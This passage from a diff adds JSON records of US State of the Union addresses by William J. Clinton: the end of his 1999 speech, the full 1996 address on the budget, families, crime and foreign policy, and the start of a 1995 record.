were\ndeeply moved by the courageous parents now working to keep guns out of the\nhands of children and to make other efforts so that other parents don't\nhave to live through their loss.After she lost her daughter, Suzann Wilson of Jonesboro, Arkansas, came\nhere to the White House with a powerful plea. She said \"Please, please for\nthe sake of your children, lock up your guns. Don't let what happened in\nJonesboro, happen in your town.\"It's a message she is passionately advocating every day. Suzann is here\nwith us tonight, with the first lady. I would like to thank her for her\ncourage and her commitment.In memory of all the children who lost their lives to school violence, I\nask you to strengthen the Safe And Drug Free School Act, to pass\nlegislation to require child trigger locks, to do everything possible to\nkeep our children safe.Today, we're--excuse me--a century ago, President Theodore Roosevelt\ndefined our great central task as leaving this land even a better land for\nour descendants than it is for us. Today, we're restoring the Florida\nEverglades, saving Yellowstone, preserving the red rock canyons of Utah,\nprotecting California's redwoods, and our precious coasts.But our most fateful new challenge is the threat of global warming.\nNineteen ninety-eight was the warmest year ever recorded. Last year's heat\nwaves, floods and storm are but a hint of what future generations may\nendure if we do not act now.Tonight, I propose a new clean air fund to help communities reduce\ngreenhouse and other pollutions, and tax incentives and investment to spur\nclean energy technologies. And I want to work with members of Congress in\nboth parties to reward companies that take early, voluntary action to\nreduce greenhouse gases.Now, all our communities face a preservation challenge as they grow, and\ngreen space shrinks. Seven thousand acres of farmland and open space are\nlost every day. In response, I propose two major initiatives. First, a $1\nbillion livability agenda to help communities save open space, ease traffic\ncongestion, and grow in ways that enhance every citizen's quality of life.\nAnd second, a $1 billion lands legacy initiative to preserve places of\nnatural beauty all across America, from the most remote wilderness to the\nnearest city park.These are truly landmark initiatives, which could not have been developed\nwithout the visionary leadership of the vice president and I want to thank\nhim very much for his commitment here. Thank you.Now, to get the most out of your community, you have to give something\nback. That's why we created AmeriCorps, our national service program that\ngives today's generation a chance to serve their communities and earn money\nfor college.So far, in just four years, 100,000 young Americans have built low-income\nhomes with Habitat for Humanity, helped tutor children with churches, work\nwith FEMA to ease the burden of natural disasters and performed countless\nother acts of service that has made America better. I ask Congress to give\nmore young Americans the chance to follow their lead and serve America in\nAmeriCorps.Now, we must work to renew our national community as well for the 21st\ncentury. Last year, the House passed the bipartisan campaign finance reform\nlegislation sponsored by Representatives [Christopher] Shays (R-Conn.) and\n[Martin T.] Meehan (D-Mass.) and Sens. [John] McCain (R-Ariz.) and\n[Russell] Feingold (D-Wis.). But a partisan minority in the Senate blocked\nreform. So I would like to say to the House, pass it again--quickly.And I'd like to say to the Senate, I hope you will say yes to a stronger\nAmerican democracy in the year 2000.Since 1997, our Initiative on Race has sought to bridge the divides between\nand among our people. In its report last fall, the Initiatives Advisory\nBoard found that Americans really do want to bring our people together\nacross racial lines.We know it's been a long journey. For some it goes back to before the\nbeginning of our republic. For others, back since the Civil War; for\nothers, throughout the 21st century. But for most of us alive today, in a\nvery real sense this journey began 43 years ago, when a woman named Rosa\nParks sat down on a bus in Alabama and wouldn't get up.She's sitting down with the first lady tonight, and she may get up or not\nas she chooses.We know that our continuing racial problems are aggravated, as the\npresidential initiative said, by opportunity gaps.The initiative I've outlined tonight will help to close them. But we know\nthat the discrimination gap has not been fully closed either.\nDiscrimination or violence because of race or religion, ancestry or gender,\ndisability or sexual orientation, is wrong and it ought to be illegal.\nTherefore, I ask Congress to make the Employment Non-Discrimination Act and\nthe Hate Crimes Prevention Act the law of the land.You know, now since every person in America counts, every American ought to\nbe counted. We need a census that uses modern scientific methods to do\nthat.Our new immigrants must be part of our one America. After all, they're\nrevitalizing our cities, they're energizing our culture, they're building\nup our economy. We have a responsibility to make them welcome here, and\nthey have a responsibility to enter the mainstream of American life.That means learning English and learning about our democratic system of\ngovernment. There are now long waiting lines of immigrants that are trying\nto do just that.Therefore, our budget significantly expands our efforts to help them meet\ntheir responsibility. I hope you will support it.Whether our ancestors came here on the Mayflower, on slave ships; whether\nthey came to Ellis Island or LAX in Los Angeles; whether they came\nyesterday or walked this land 1,000 years ago, our great challenge for the\n21st century is to find a way to be one America. We can meet all the other\nchallenges if we can go forward as one America.You know, barely more than 300 days from now we will cross that bridge into\nthe new millennium. This is a moment, as the first lady has said, to honor\nthe past and imagine the future.I'd like to take just a minute to honor her, for leading our Millennium\nProject, for all she's done for our children. For all she has done in her\nhistoric role to serve our nation and our best ideals at home and abroad, I\nhonor her.Last year--last year I called on Congress and every citizen to mark the\nmillennium by saving America's treasures. Hillary's traveled all across the\ncountry to inspire recognition and support for saving places like Thomas\nEdison's invention factory or Harriet Tubman's home.Now we have to preserve our treasures in every community. And tonight,\nbefore I close, I want to invite every town, every city, every community to\nbecome a nationally recognized millennium community by launching projects\nthat save our history, promote our arts and humanities, prepare our\nchildren for the 21st century.Already the response has been remarkable. And I want to say a special word\nof thanks to our private sector partners and to members in Congress of both\nparties for their support. Just one example. Because of you, the Star\nSpangled Banner will be preserved for the ages.In ways large and small, as we look to the millennium, we are keeping alive\nwhat George Washington called the \"sacred fire of liberty.\"Six years ago, I came to office in a time of doubt for America, with our\neconomy troubled, our deficit high, our people divided. Some even wondered\nwhether our best days were behind us. But across this nation, in a thousand\nneighborhoods, I have seen, even amidst the pain and uncertainty of\nrecession, the real heart and character of America.I knew then we Americans could renew this country.Tonight, as I deliver the last State of the Union Address for the 20th\ncentury, no one anywhere in the world can doubt the enduring resolve and\nboundless capacity of the American people to work toward that \"more perfect\nunion\" of our founders' dreams.We are now, at the end of a century, when generation after generation of\nAmericans answered the call to greatness, overcoming Depression, lifting up\nthe dispossessed, bringing down barriers to racial prejudice, building the\nlargest middle class in history, winning two world wars and the \"long\ntwilight struggle\" of the Cold War.We must all be profoundly grateful for the magnificent achievements of our\nforbearers in this century.Yet perhaps in the daily press of events, in the clash of controversy, we\ndon't see our own time for what it truly is--a new dawn for America.A hundred years from tonight, another American president will stand in this\nplace and report on the State of the Union. He--or she--will look back on\nthe 21st century shaped in so many ways by the decisions we make here and\nnow.So let it be said of us then that we were thinking not only of our time,\nbut of their time; that we reached as high as our ideals; that we put aside\nour divisions and found a new hour of healing and hopefulness; that we\njoined together to serve and strengthen the land we love.My fellow Americans, this is our moment. Let us lift our eyes as one\nnation, and from the mountaintop of this American century, look ahead to\nthe next one--asking God's blessing on our endeavors and on our beloved\ncountry.Thank you, and good evening.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "January 23, 1996", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of the 104th Congress,\ndistinguished guests, my fellow Americans all across our land:Let me begin tonight by saying to our men and women in uniform around the\nworld, and especially those helping peace take root in Bosnia and to their\nfamilies, I thank you. America is very, very proud of you.My duty tonight is to report on the state of the Union--not the state of\nour government, but of our American community; and to set forth our\nresponsibilities, in the words of our Founders, to form a more perfect\nunion.The state of the Union is strong. Our economy is the healthiest it has been\nin three decades. We have the lowest combined rates of unemployment and\ninflation in 27 years. We have created nearly 8 million new jobs, over a\nmillion of them in basic industries, like construction and automobiles.\nAmerica is selling more cars than Japan for the first time since the 1970s.\nAnd for three years in a row, we have had a record number of new businesses\nstarted in our country.Our leadership in the world is also strong, bringing hope for new peace.\nAnd perhaps most important, we are gaining ground in restoring our\nfundamental values. The crime rate, the welfare and food stamp rolls, the\npoverty rate and the teen pregnancy rate are all down. And as they go down,\nprospects for America's future go up.We live in an age of possibility. A hundred years ago we moved from farm to\nfactory. Now we move to an age of technology, information, and global\ncompetition. These changes have opened vast new opportunities for our\npeople, but they have also presented them with stiff challenges. While more\nAmericans are living better, too many of our fellow citizens are working\nharder just to keep up, and they are rightly concerned about the security\nof their families.The Role Of GovernmentWe must answer here three fundamental questions: First, how do we make the\nAmerican Dream of opportunity for all a reality for all Americans who are\nwilling to work for it? Second, how do we preserve our old and enduring\nvalues as we move into the future? And, third, how do we meet these\nchallenges together, as one America?We know big government does not have all the answers. We know there's not a\nprogram for every problem. We have worked to give the American people a\nsmaller, less bureaucratic government in Washington. And we have to give\nthe American people one that lives within its means.The era of big government is over. But we cannot go back to the time when\nour citizens were left to fend for themselves. Instead, we must go forward\nas one America, one nation working together to meet the challenges we face\ntogether. Self-reliance and teamwork are not opposing virtues; we must have\nboth.I believe our new, smaller government must work in an old-fashioned\nAmerican way, together with all of our citizens through state and local\ngovernments, in the workplace, in religious, charitable and civic\nassociations. Our goal must be to enable all our people to make the most of\ntheir own lives--with stronger families, more educational opportunity,\neconomic security, safer streets, a cleaner environment in a safer world.To improve the state of our Union, we must ask more of ourselves, we must\nexpect more of each other, and we must face our challenges together.Here, in this place, our responsibility begins with balancing the budget in\na way that is fair to all Americans. There is now broad bipartisan\nagreement that permanent deficit spending must come to an end.I compliment the Republican leadership and the membership for the energy\nand determination you have brought to this task of balancing the budget.\nAnd I thank the Democrats for passing the largest deficit reduction plan in\nhistory in 1993, which has already cut the deficit nearly in half in three\nyears.DeficitSince 1993, we have all begun to see the benefits of deficit reduction.\nLower interest rates have made it easier for businesses to borrow and to\ninvest and to create new jobs. Lower interest rates have brought down the\ncost of home mortgages, car payments and credit card rates to ordinary\ncitizens. Now, it is time to finish the job and balance the budget.Though differences remain among us which are significant, the combined\ntotal of the proposed savings that are common to both plans is more than\nenough, using the numbers from your Congressional Budget Office to balance\nthe budget in seven years and to provide a modest tax cut.These cuts are real. They will require sacrifice from everyone. But these\ncuts do not undermine our fundamental obligations to our parents, our\nchildren, and our future, by endangering Medicare, or Medicaid, or\neducation, or the environment, or by raising taxes on working families.I have said before, and let me say again, many good ideas have come out of\nour negotiations. I have learned a lot about the way both Republicans and\nDemocrats view the debate before us. I have learned a lot about the good\nideas that we could all embrace.We ought to resolve our remaining differences. I am willing to work to\nresolve them. I am ready to meet tomorrow. But I ask you to consider that\nwe should at least enact these savings that both plans have in common and\ngive the American people their balanced budget, a tax cut, lower interest\nrates, and a brighter future. We should do that now, and make permanent\ndeficits yesterday's legacy.Now it is time for us to look also to the challenges of today and tomorrow,\nbeyond the burdens of yesterday. The challenges are significant. But\nAmerica was built on challenges, not promises. And when we work together to\nmeet them, we never fail. That is the key to a more perfect Union. Our\nindividual dreams must be realized by our common efforts.Tonight I want to speak to you about the challenges we all face as a\npeople.Strengthening FamiliesOur first challenge is to cherish our children and strengthen America's\nfamilies. Family is the foundation of American life. If we have stronger\nfamilies, we will have a stronger America.Before I go on, I would like to take just a moment to thank my own family,\nand to thank the person who has taught me more than anyone else over 25\nyears about the importance of families and children--a wonderful wife, a\nmagnificent mother and a great First Lady. Thank you, Hillary.All strong families begin with taking more responsibility for our children.\nI have heard Mrs. Gore say that it's hard to be a parent today, but it's\neven harder to be a child. So all of us, not just as parents, but all of us\nin our other roles--our media, our schools, our teachers, our communities,\nour churches and synagogues, our businesses, our governments--all of us\nhave a responsibility to help our children to make it and to make the most\nof their lives and their God-given capacities.To the media, I say you should create movies and CDs and television shows\nyou'd want your own children and grandchildren to enjoy.I call on Congress to pass the requirement for a V-chip in TV sets so that\nparents can screen out programs they believe are inappropriate for their\nchildren. When parents control what their young children see, that is not\ncensorship; that is enabling parents to assume more personal responsibility\nfor their children's upbringing. And I urge them to do it. The V-chip\nrequirement is part of the important telecommunications bill now pending in\nthis Congress. It has bipartisan support, and I urge you to pass it now.To make the V-chip work, I challenge the broadcast industry to do what\nmovies have done--to identify your programming in ways that help parents\nto protect their children. And I invite the leaders of major media\ncorporations in the entertainment industry to come to the White House next\nmonth to work with us in a positive way on concrete ways to improve what\nour children see on television. I am ready to work with you.I say to those who make and market cigarettes: every year a million\nchildren take up smoking, even though it is against the law. Three hundred\nthousand of them will have their lives shortened as a result. Our\nadministration has taken steps to stop the massive marketing campaigns that\nappeal to our children. We are simply saying: Market your products to\nadults, if you wish, but draw the line on children.I say to those who are on welfare, and especially to those who have been\ntrapped on welfare for a long time: For too long our welfare system has\nundermined the values of family and work, instead of supporting them. The\nCongress and I are near agreement on sweeping welfare reform. We agree on\ntime limits, tough work requirements, and the toughest possible child\nsupport enforcement. But I believe we must also provide child care so that\nmothers who are required to go to work can do so without worrying about\nwhat is happening to their children.I challenge this Congress to send me a bipartisan welfare reform bill that\nwill really move people from welfare to work and do the right thing by our\nchildren. I will sign it immediately.Let us be candid about this difficult problem. Passing a law, even the best\npossible law, is only a first step. The next step is to make it work. I\nchallenge people on welfare to make the most of this opportunity for\nindependence. I challenge American businesses to give people on welfare the\nchance to move into the work force. I applaud the work of religious groups\nand others who care for the poor. More than anyone else in our society,\nthey know the true difficulty of the task before us, and they are in a\nposition to help. Every one of us should join them. That is the only way we\ncan make real welfare reform a reality in the lives of the American\npeople.To strengthen the family we must do everything we can to keep the teen\npregnancy rate going down. I am gratified, as I'm sure all Americans are,\nthat it has dropped for two years in a row. But we all know it is still far\ntoo high.Tonight I am pleased to announce that a group of prominent Americans is\nresponding to that challenge by forming an organization that will support\ngrass-roots community efforts all across our country in a national campaign\nagainst teen pregnancy. And I challenge all of us and every American to\njoin their efforts.I call on American men and women in families to give greater respect to one\nanother. We must end the deadly scourge of domestic violence in our\ncountry. And I challenge America's families to work harder to stay\ntogether. For families who stay together not only do better economically,\ntheir children do better as well.In particular, I challenge the fathers of this country to love and care for\ntheir children. If your family has separated, you must pay your child\nsupport. We're doing more than ever to make sure you do, and we're going to\ndo more, but let's all admit something about that, too: A check will not\nsubstitute for a parent's love and guidance. And only you--only you can\nmake the decision to help raise your children. No matter who you are, how\nlow or high your station in life, it is the most basic human duty of every\nAmerican to do that job to the best of his or her ability.EducationOur second challenge is to provide Americans with the educational\nopportunities we will all need for this new century. In our schools, every\nclassroom in America must be connected to the information superhighway,\nwith computers and good software, and well-trained teachers. We are working\nwith the telecommunications industry, educators and parents to connect 20\npercent of California's classrooms by this spring, and every classroom and\nevery library in the entire United States by the year 2000. I ask Congress\nto support this education technology initiative so that we can make sure\nthis national partnership succeeds.Every diploma ought to mean something. I challenge every community, every\nschool and every state to adopt national standards of excellence; to\nmeasure whether schools are meeting those standards; to cut bureaucratic\nred tape so that schools and teachers have more flexibility for grass-roots\nreform; and to hold them accountable for results. That's what our Goals\n2000 initiative is all about.I challenge every state to give all parents the right to choose which\npublic school their children will attend; and to let teachers form new\nschools with a charter they can keep only if they do a good job.I challenge all our schools to teach character education, to teach good\nvalues and good citizenship. And if it means that teenagers will stop\nkilling each other over designer jackets, then our public schools should be\nable to require their students to wear school uniforms.I challenge our parents to become their children's first teachers. Turn off\nthe TV. See that the homework is done. And visit your children's classroom.\nNo program, no teacher, no one else can do that for you.My fellow Americans, higher education is more important today than ever\nbefore. We've created a new student loan program that's made it easier to\nborrow and repay those loans, and we have dramatically cut the student loan\ndefault rate. That's something we should all be proud of, because it was\nunconscionably high just a few years ago. Through AmeriCorps, our national\nservice program, this year 25,000 young people will earn college money by\nserving their local communities to improve the lives of their friends and\nneighbors. These initiatives are right for America and we should keep them\ngoing.And we should also work hard to open the doors of college even wider. I\nchallenge Congress to expand work-study and help one million young\nAmericans work their way through college by the year 2000; to provide a\n$1000 merit scholarship for the top five percent of graduates in every high\nschool in the United States; to expand Pell Grant scholarships for\ndeserving and needy students; and to make up to $10,000 a year of college\ntuition tax deductible. It's a good idea for America.Our third challenge is to help every American who is willing to work for\nit, achieve economic security in this new age. People who work hard still\nneed support to get ahead in the new economy. They need education and\ntraining for a lifetime. They need more support for families raising\nchildren. They need retirement security. They need access to health care.\nMore and more Americans are finding that the education of their childhood\nsimply doesn't last a lifetime.G.I. Bill For WorkersSo I challenge Congress to consolidate 70 overlapping, antiquated\njob-training programs into a simple voucher worth $2,600 for unemployed or\nunderemployed workers to use as they please for community college tuition\nor other training. This is a G.I. Bill for America's workers we should all\nbe able to agree on.More and more Americans are working hard without a raise. Congress sets the\nminimum wage. Within a year, the minimum wage will fall to a 40-year low in\npurchasing power. Four dollars and 25 cents an hour is no longer a living\nwage, but millions of Americans and their children are trying to live on\nit. I challenge you to raise their minimum wage.In 1993, Congress cut the taxes of 15 million hard-pressed working families\nto make sure that no parents who work full-time would have to raise their\nchildren in poverty, and to encourage people to move from welfare to work.\nThis expanded earned income tax credit is now worth about $1,800 a year to\na family of four living on $20,000. The budget bill I vetoed would have\nreversed this achievement and raised taxes on nearly 8 million of these\npeople. We should not do that.I also agree that the people who are helped under this initiative are not\nall those in our country who are working hard to do a good job raising\ntheir children and at work. I agree that we need a tax credit for working\nfamilies with children. That's one of the things most of us in this\nChamber, I hope, can agree on. I know it is strongly supported by the\nRepublican majority. And it should be part of any final budget agreement.I want to challenge every business that can possibly afford it to provide\npensions for your employees. And I challenge Congress to pass a proposal\nrecommended by the White House Conference on Small Business that would make\nit easier for small businesses and farmers to establish their own pension\nplans. That is something we should all agree on.We should also protect existing pension plans. Two years ago, with\nbipartisan support that was almost unanimous on both sides of the aisle, we\nmoved to protect the pensions of 8 million working people and to stabilize\nthe pensions of 32 million more. Congress should not now let companies\nendanger those workers' pension funds. I know the proposal to liberalize\nthe ability of employers to take money out of pension funds for other\npurposes would raise money for the treasury. But I believe it is false\neconomy. I vetoed that proposal last year, and I would have to do so\nagain.Health CareFinally, if our working families are going to succeed in the new economy,\nthey must be able to buy health insurance policies that they do not lose\nwhen they change jobs or when someone in their family gets sick. Over the\npast two years, over one million Americans in working families have lost\ntheir health insurance. We have to do more to make health care available to\nevery American. And Congress should start by passing the bipartisan bill\nsponsored by Senator Kennedy and Senator Kassebaum that would require\ninsurance companies to stop dropping people when they switch jobs, and stop\ndenying coverage for preexisting conditions. Let's all do that.And even as we enact savings in these programs, we must have a common\ncommitment to preserve the basic protections of Medicare and Medicaid--not\njust to the poor, but to people in working families, including children,\npeople with disabilities, people with AIDS, and senior citizens in nursing\nhomes.In the past three years, we've saved $15 billion just by fighting health\ncare fraud and abuse. We have all agreed to save much more. We have all\nagreed to stabilize the Medicare Trust Fund. But we must not abandon our\nfundamental obligations to the people who need Medicare and Medicaid.\nAmerica cannot become stronger if they become weaker.The G.I. Bill for workers, tax relief for education and child rearing,\npension availability and protection, access to health care, preservation of\nMedicare and Medicaid--these things, along with the Family and Medical\nLeave Act passed in 1993--these things will help responsible, hard-working\nAmerican families to make the most of their own lives.But employers and employees must do their part, as well, as they are doing\nin so many of our finest companies--working together, putting the\nlong-term prosperity ahead of the short-term gain. As workers increase\ntheir hours and their productivity, employers should make sure they get the\nskills they need and share the benefits of the good years, as well as the\nburdens of the bad ones. When companies and workers work as a team they do\nbetter, and so does America.CrimeOur fourth great challenge is to take our streets back from crime and gangs\nand drugs. At last we have begun to find a way to reduce crime, forming\ncommunity partnerships with local police forces to catch criminals and\nprevent crime. This strategy, called community policing, is clearly\nworking. Violent crime is coming down all across America. In New York City\nmurders are down 25 percent; in St. Louis, 18 percent; in Seattle, 32\npercent. But we still have a long way to go before our streets are safe and\nour people are free from fear.The Crime Bill of 1994 is critical to the success of community policing. It\nprovides funds for 100,000 new police in communities of all sizes. We're\nalready a third of the way there. And I challenge the Congress to finish\nthe job. Let us stick with a strategy that's working and keep the crime\nrate coming down.Community policing also requires bonds of trust between citizens and\npolice. I ask all Americans to respect and support our law enforcement\nofficers. And to our police, I say, our children need you as role models\nand heroes. Don't let them down.The Brady Bill has already stopped 44,000 people with criminal records from\nbuying guns. The assault weapons ban is keeping 19 kinds of assault weapons\nout of the hands of violent gangs. I challenge the Congress to keep those\nlaws on the books.Our next step in the fight against crime is to take on gangs the way we\nonce took on the mob. I'm directing the FBI and other investigative\nagencies to target gangs that involve juveniles in violent crime, and to\nseek authority to prosecute as adults teenagers who maim and kill like\nadults.And I challenge local housing authorities and tenant associations: Criminal\ngang members and drug dealers are destroying the lives of decent tenants.\nFrom now on, the rule for residents who commit crime and peddle drugs\nshould be one strike and you're out.I challenge every state to match federal policy to assure that serious\nviolent criminals serve at least 85 percent of their sentence.More police and punishment are important, but they're not enough. We have\ngot to keep more of our young people out of trouble, with prevention\nstrategies not dictated by Washington, but developed in communities. I\nchallenge all of our communities, all of our adults, to give our children\nfutures to say yes to. And I challenge Congress not to abandon the Crime\nBill's support of these grass-roots prevention efforts.Finally, to reduce crime and violence we have to reduce the drug problem.\nThe challenge begins in our homes, with parents talking to their children\nopenly and firmly. It embraces our churches and synagogues, our youth\ngroups and our schools.I challenge Congress not to cut our support for drug-free schools. People\nlike the D.A.R.E. officers are making a real impression on grade\nschoolchildren that will give them the strength to say no when the time\ncomes.Meanwhile, we continue our efforts to cut the flow of drugs into America.\nFor the last two years, one man in particular has been on the front lines\nof that effort. Tonight I am nominating him--a hero of the Persian Gulf\nWar and the Commander in Chief of the United States Military Southern\nCommand--General Barry McCaffrey, as America's new Drug Czar.General McCaffrey has earned three Purple Hearts and two Silver Stars\nfighting for this country. Tonight I ask that he lead our nation's battle\nagainst drugs at home and abroad. To succeed, he needs a force far larger\nthan he has ever commanded before. He needs all of us. Every one of us has\na role to play on this team.Thank you, General McCaffrey, for agreeing to serve your country one more\ntime.EnvironmentOur fifth challenge: to leave our environment safe and clean for the next\ngeneration. Because of a generation of bipartisan effort we do have cleaner\nwater and air, lead levels in children's blood has been cut by 70 percent,\ntoxic emissions from factories cut in half. Lake Erie was dead, and now\nit's a thriving resource. But 10 million children under 12 still live\nwithin four miles of a toxic waste dump. A third of us breathe air that\nendangers our health. And in too many communities, the water is not safe to\ndrink. We still have much to do.Yet Congress has voted to cut environmental enforcement by 25 percent. That\nmeans more toxic chemicals in our water, more smog in our air, more\npesticides in our food. Lobbyists for polluters have been allowed to write\ntheir own loopholes into bills to weaken laws that protect the health and\nsafety of our children. Some say that the taxpayer should pick up the tab\nfor toxic waste and let polluters who can afford to fix it off the hook. I\nchallenge Congress to reexamine those policies and to reverse them.This issue has not been a partisan issue. The most significant\nenvironmental gains in the last 30 years were made under a Democratic\nCongress and President Richard Nixon. We can work together. We have to\nbelieve some basic things. Do you believe we can expand the economy without\nhurting the environment? I do. Do you believe we can create more jobs over\nthe long run by cleaning the environment up? I know we can. That should be\nour commitment.We must challenge businesses and communities to take more initiative in\nprotecting the environment, and we have to make it easier for them to do\nit. To businesses this administration is saying: If you can find a cheaper,\nmore efficient way than government regulations require to meet tough\npollution standards, do it--as long as you do it right. To communities we\nsay: We must strengthen community right-to-know laws requiring polluters to\ndisclose their emissions, but you have to use the information to work with\nbusiness to cut pollution. People do have a right to know that their air\nand their water are safe.Foreign PolicyOur sixth challenge is to maintain America's leadership in the fight for\nfreedom and peace throughout the world. Because of American leadership,\nmore people than ever before live free and at peace. And Americans have\nknown 50 years of prosperity and security.We owe thanks especially to our veterans of World War II. I would like to\nsay to Senator Bob Dole and to all others in this Chamber who fought in\nWorld War II, and to all others on both sides of the aisle who have fought\nbravely in all our conflicts since: I salute your service, and so do the\nAmerican people.All over the world, even after the Cold War, people still look to us and\ntrust us to help them seek the blessings of peace and freedom. But as the\nCold War fades into memory, voices of isolation say America should retreat\nfrom its responsibilities. I say they are wrong.The threats we face today as Americans respect no nation's borders. Think\nof them: terrorism, the spread of weapons of mass destruction, organized\ncrime, drug trafficking, ethnic and religious hatred, aggression by rogue\nstates, environmental degradation. If we fail to address these threats\ntoday, we will suffer the consequences in all our tomorrows.Of course, we can't be everywhere. Of course, we can't do everything. But\nwhere our interests and our values are at stake, and where we can make a\ndifference, America must lead. We must not be isolationist.We must not be the world's policeman. But we can and should be the world's\nvery best peacemaker. By keeping our military strong, by using diplomacy\nwhere we can and force where we must, by working with others to share the\nrisk and the cost of our efforts, America is making a difference for people\nhere and around the world. For the first time since the dawn of the nuclear\nage, there is not a single Russian missile pointed at America's children.North KoreaNorth Korea has now frozen its dangerous nuclear weapons program. In Haiti,\nthe dictators are gone, democracy has a new day, the flow of desperate\nrefugees to our shores has subsided. Through tougher trade deals for\nAmerica--over 80 of them--we have opened markets abroad, and now exports\nare at an all-time high, growing faster than imports and creating good\nAmerican jobs.Northern IrelandWe stood with those taking risks for peace: In Northern Ireland, where\nCatholic and Protestant children now tell their parents, violence must\nnever return. In the Middle East, where Arabs and Jews who once seemed\ndestined to fight forever now share knowledge and resources, and even\ndreams.BosniaAnd we stood up for peace in Bosnia. Remember the skeletal prisoners, the\nmass graves, the campaign to rape and torture, the endless lines of\nrefugees, the threat of a spreading war. All these threats, all these\nhorrors have now begun to give way to the promise of peace. Now, our troops\nand a strong NATO, together with our new partners from Central Europe and\nelsewhere, are helping that peace to take hold.As all of you know, I was just there with a bipartisan congressional group,\nand I was so proud not only of what our troops were doing, but of the pride\nthey evidenced in what they were doing. They knew what America's mission in\nthis world is, and they were proud to be carrying it out.Through these efforts, we have enhanced the security of the American\npeople. But make no mistake about it: important challenges remain.RussiaThe START II Treaty with Russia will cut our nuclear stockpiles by another\n25 percent. I urge the Senate to ratify it--now. We must end the race to\ncreate new nuclear weapons by signing a truly comprehensive nuclear test\nban treaty--this year.As we remember what happened in the Japanese subway, we can outlaw poison\ngas forever if the Senate ratifies the Chemical Weapons Convention--this\nyear. We can intensify the fight against terrorists and organized criminals\nat home and abroad if Congress passes the anti-terrorism legislation I\nproposed after the Oklahoma City bombing--now. We can help more people\nmove from hatred to hope all across the world in our own interest if\nCongress gives us the means to remain the world's leader for peace.My fellow Americans, the six challenges I have just discussed are for all\nof us. Our seventh challenge is really America's challenge to those of us\nin this hallowed hall tonight: to reinvent our government and make our\ndemocracy work for them.ReformLast year this Congress applied to itself the laws it applies to everyone\nelse. This Congress banned gifts and meals from lobbyists. This Congress\nforced lobbyists to disclose who pays them and what legislation they are\ntrying to pass or kill. This Congress did that, and I applaud you for it.Now I challenge Congress to go further--to curb special interest influence\nin politics by passing the first truly bipartisan campaign reform bill in a\ngeneration. You, Republicans and Democrats alike, can show the American\npeople that we can limit spending and open the airwaves to all candidates.I also appeal to Congress to pass the line-item veto you promised the\nAmerican people.Our administration is working hard to give the American people a government\nthat works better and costs less. Thanks to the work of Vice President\nGore, we are eliminating 16,000 pages of unnecessary rules and regulations,\nshifting more decision-making out of Washington, back to states and local\ncommunities.As we move into the era of balanced budgets and smaller government, we must\nwork in new ways to enable people to make the most of their own lives. We\nare helping America's communities, not with more bureaucracy, but with more\nopportunities. Through our successful Empowerment Zones and Community\nDevelopment Banks, we are helping people to find jobs, to start businesses.\nAnd with tax incentives for companies that clean up abandoned industrial\nproperty, we can bring jobs back to places that desperately, desperately\nneed them.But there are some areas that the federal government should not leave and\nshould address and address strongly. One of these areas is the problem of\nillegal immigration. After years of neglect, this administration has taken\na strong stand to stiffen the protection of our borders. We are increasing\nborder controls by 50 percent. We are increasing inspections to prevent the\nhiring of illegal immigrants. And tonight, I announce I will sign an\nexecutive order to deny federal contracts to businesses that hire illegal\nimmigrants.Let me be very clear about this: We are still a nation of immigrants; we\nshould be proud of it. We should honor every legal immigrant here, working\nhard to become a new citizen. But we are also a nation of laws.I want to say a special word now to those who work for our federal\ngovernment. Today our federal government is 200,000 employees smaller than\nit was the day I took office as President.Our federal government today is the smallest it has been in 30 years, and\nit's getting smaller every day. Most of our fellow Americans probably don't\nknow that. And there is a good reason: The remaining federal work force is\ncomposed of Americans who are now working harder and working smarter than\never before, to make sure the quality of our services does not decline.I'd like to give you one example. His name is Richard Dean. He is a 49\nyear-old Vietnam veteran who's worked for the Social Security\nAdministration for 22 years now. Last year he was hard at work in the\nFederal Building in Oklahoma City when the blast killed 169 people and\nbrought the rubble down all around him. He reentered that building four\ntimes. He saved the lives of three women. He's here with us this evening,\nand I want to recognize Richard and applaud both his public service and his\nextraordinary personal heroism.But Richard Dean's story doesn't end there. This last November, he was\nforced out of his office when the government shut down. And the second time\nthe government shut down he continued helping Social Security recipients,\nbut he was working without pay.On behalf of Richard Dean and his family, and all the other people who are\nout there working every day doing a good job for the American people, I\nchallenge all of you in this Chamber: Never, ever shut the federal\ngovernment down again.On behalf of all Americans, especially those who need their Social Security\npayments at the beginning of March, I also challenge the Congress to\npreserve the full faith and credit of the United States--to honor the\nobligations of this great nation as we have for 220 years; to rise above\npartisanship and pass a straightforward extension of the debt limit and\nshow people America keeps its word.I know that this evening I have asked a lot of Congress, and even more from\nAmerica. But I am confident: When Americans work together in their homes,\ntheir schools, their churches, their synagogues, their civic groups, their\nworkplace, they can meet any challenge.I say again, the era of big government is over. But we can't go back to the\nera of fending for yourself. We have to go forward to the era of working\ntogether as a community, as a team, as one America, with all of us reaching\nacross these lines that divide us--the division, the discrimination, the\nrancor--we have to reach across it to find common ground. We have got to\nwork together if we want America to work.I want you to meet two more people tonight who do just that. Lucius Wright\nis a teacher in the Jackson, Mississippi, public school system. A Vietnam\nveteran, he has created groups to help inner-city children turn away from\ngangs and build futures they can believe in. Sergeant Jennifer Rodgers is a\npolice officer in Oklahoma City. Like Richard Dean, she helped to pull her\nfellow citizens out of the rubble and deal with that awful tragedy. She\nreminds us that in their response to that atrocity the people of Oklahoma\nCity lifted all of us with their basic sense of decency and community.Lucius Wright and Jennifer Rodgers are special Americans. And I have the\nhonor to announce tonight that they are the very first of several thousand\nAmericans who will be chosen to carry the Olympic torch on its long journey\nfrom Los Angeles to the centennial of the modern Olympics in Atlanta this\nsummer--not because they are star athletes, but because they are star\ncitizens, community heroes meeting America's challenges. They are our real\nchampions.Now, each of us must hold high the torch of citizenship in our own lives.\nNone of us can finish the race alone. We can only achieve our destiny\ntogether--one hand, one generation, one American connecting to another.There have always been things we could do together--dreams we could make\nreal--which we could never have done on our own. We Americans have forged\nour identity, our very union, from every point of view and every point on\nthe planet, every different opinion. But we must be bound together by a\nfaith more powerful than any doctrine that divides us--by our belief in\nprogress, our love of liberty, and our relentless search for common\nground.America has always sought and always risen to every challenge. Who would\nsay that, having come so far together, we will not go forward from here?\nWho would say that this age of possibility is not for all Americans?Our country is and always has been a great and good nation. But the best is\nyet to come, if we all do our part.Thank you, God bless you and God bless the United States of America. Thank\nyou.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "January 24, 1995", 
